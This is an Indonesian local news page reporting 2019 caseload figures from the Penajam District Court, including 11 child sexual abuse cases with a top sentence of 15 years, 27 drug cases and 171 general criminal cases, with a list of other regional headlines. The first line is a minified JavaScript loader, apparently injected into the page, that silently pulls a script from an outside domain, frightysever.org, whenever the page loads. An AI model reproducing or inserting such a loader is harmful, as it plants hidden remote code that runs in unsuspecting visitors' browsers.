(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL PENAJAM

Penjahat Seksual di Penajam Dihukum 15 Tahun Penjara


PENAJAM, Pengadilan Negeri (PN) Penajam, Kabupaten Penajam Paser Utara, Kalimantan Timur, sepanjang 2019 menyidangkan pelaku kejahatan seksual terhadap anak di bawah umur sebanyak 11 kasus. Hukuman terberat yaitu dijatuhi pidana penjara selama 15 tahun.

Ketua Pengadilan Negeri (PN) Penajam, Kabupaten Penajam Paser Utara, Anteng Supriyo mengungkapkan, lembaganya menyidangkan 11 kasus kekerasan seksual terhadap anak. Dari jumlah perkara kejahatan seksual terhadap anak tersebut lanjut ia, sembilan kasus di antaranya telah diputus atau divonis dan dua perkara lainnya masih proses sidang.

“Vonis atau putusan perkara kekerasan seksual terhadap anak itu paling tinggi hukuman 15 tahun penjara,” tegas Anteng Supriyo sebagaimana dikutip dari Antara, Kamis (5/12).

Selain perkara kekerasan seksual terhadap anak di bawah umur, PN Penajam, Kabupaten Penajam Paser Utara sepanjang 2019 juga menyidangkan 27 kasus narkoba. Delapan perkara narkoba menurut Anteng Supriyo, sudah diputus atau divonis, sedangkan 19 kasus narkoba lainnya masih dalam proses sidang. “Putusan terhadap pelaku penyalahgunaan dan peredaran narkoba itu paling tinggi sekitar sembilan tahun penjara,” ujarnya.

Sementara total perkara pidana umum yang ditangani PN Penajam, Kabupaten Penajam Paser Utara hinga saat ini sebanyak 171 perkara. “Untuk perkara pidana umum yang hingga kini ada sekitar 171 perkara, dan sebanyak 137 perkara telah mendapat putusan atau vonis,” jelas Anteng Supriyo.

Perkara pidana umum yang ditangani PN Penajam, Kabupaten Penajam Paser Utara kemungkinan masih bisa betrambah hingga akhir 2019. “Kasus perkara pidana umum itu bisa saja bertambah karena masih menyisakan satu bulan lagi, jadi jumlah perkara pidana umum yang disidangkan nanti diketahui akhir 2019,” ucap Anteng Supriyo. (asp/ant)

Reporter : Asp/ant
Editor : Chell


Desy Arfianty

Share
Published by
Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

4 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

9 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

10 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.